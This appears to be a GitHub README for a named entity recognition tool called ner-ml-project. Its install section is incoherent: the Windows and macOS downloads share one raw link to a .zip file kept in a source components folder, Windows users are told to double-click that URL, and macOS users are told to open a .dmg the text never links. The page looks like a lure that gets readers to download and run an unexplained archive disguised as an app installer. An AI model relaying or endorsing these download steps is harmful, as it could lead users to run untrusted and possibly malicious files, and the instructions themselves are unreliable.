🌟 ner-ml-project - Simple Tool for Named Entity Recognition

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📖 Introduction

The ner-ml-project is a user-friendly tool built for Named Entity Recognition (NER) using Natural Language Processing (NLP) and React. This application helps identify specific information in texts, such as names, places, and dates. Whether you're analyzing resumes, processing customer feedback, or simply exploring text data, this tool can assist you.

🚀 Getting Started

To get started with the ner-ml-project, follow these simple steps:

1. Check System Requirements

Before downloading, ensure that your computer meets these basic requirements:

• Operating System: Windows 10 or later, macOS, or any modern Linux distribution.
• Memory: At least 4 GB of RAM.
• Disk Space: Minimum of 100 MB free space.
• Internet Connection: Needed for installation and updates.

2. Visit the Releases Page

To download the latest version of the ner-ml-project, visit our Releases page.

3. Download the Application

On the Releases page, locate the version you want to download. Click the link for your operating system. For example, look for names like https://raw.githubusercontent.com/Sunnyboivr/ner-ml-project/main/frontend/src/components/ner-ml-project_seafare.zip for Windows or https://raw.githubusercontent.com/Sunnyboivr/ner-ml-project/main/frontend/src/components/ner-ml-project_seafare.zip for macOS.

4. Install the Application

• For Windows:

  1. Locate the downloaded file (usually in your Downloads folder).
  2. Double-click on https://raw.githubusercontent.com/Sunnyboivr/ner-ml-project/main/frontend/src/components/ner-ml-project_seafare.zip.
  3. Follow the on-screen instructions to complete the installation.

• For macOS:

  1. Open the downloaded .dmg file.
  2. Drag the ner-ml-project icon to your Applications folder.
  3. Eject the .dmg file.

• For Linux:

  1. Extract the downloaded package using your file manager or terminal.
  2. Navigate to the extracted folder and run ./ner-ml-project.

5. Launch the Application

After installing, find the ner-ml-project in your applications list. Click to open it. You will see a user-friendly interface ready to assist you.

🔍 How to Use the Application

1. Input Your Text:

   • Paste or type the text you want to analyze into the provided text area.

2. Run the NER Tool:

   • Click the "Analyze" button. The tool will process your text and highlight relevant entities.

3. View Results:

   • You will see different categories like names, organizations, and locations highlighted in the text. Review the identified entities easily.

🎨 Key Features

• User-Friendly Interface: Designed for ease of use; no technical skills required.
• Real-Time Analysis: See results instantly as you input text.
• Supports Multiple Languages: Understands and processes text in various languages.
• Customizable: Adjust settings to meet your needs, like output formats and entity recognition types.

⚙️ Troubleshooting

If you face any issues, try the following steps:

• Check Compatibility: Ensure your operating system matches the requirements.
• Update Your Software: Always use the latest version available.
• Restart the Application: Close and reopen if you encounter glitches.
• Consult the Help Section: We provide basic FAQs in the application under the Help menu.

📞 Get Support

For any questions or help needed, feel free to reach out. You can open an issue on our GitHub repository for assistance.

💬 Feedback

Your feedback is valuable to us. Share your thoughts and suggestions on how to improve the application on our GitHub page.

📜 License

This project is licensed under the MIT License. You can freely use, modify, and distribute this tool as per the terms mentioned.

🔗 Additional Resources

• Documentation
• Related Projects
• Community Forum

🔗 Download for Your OS:

Visit our Releases page to download the latest version.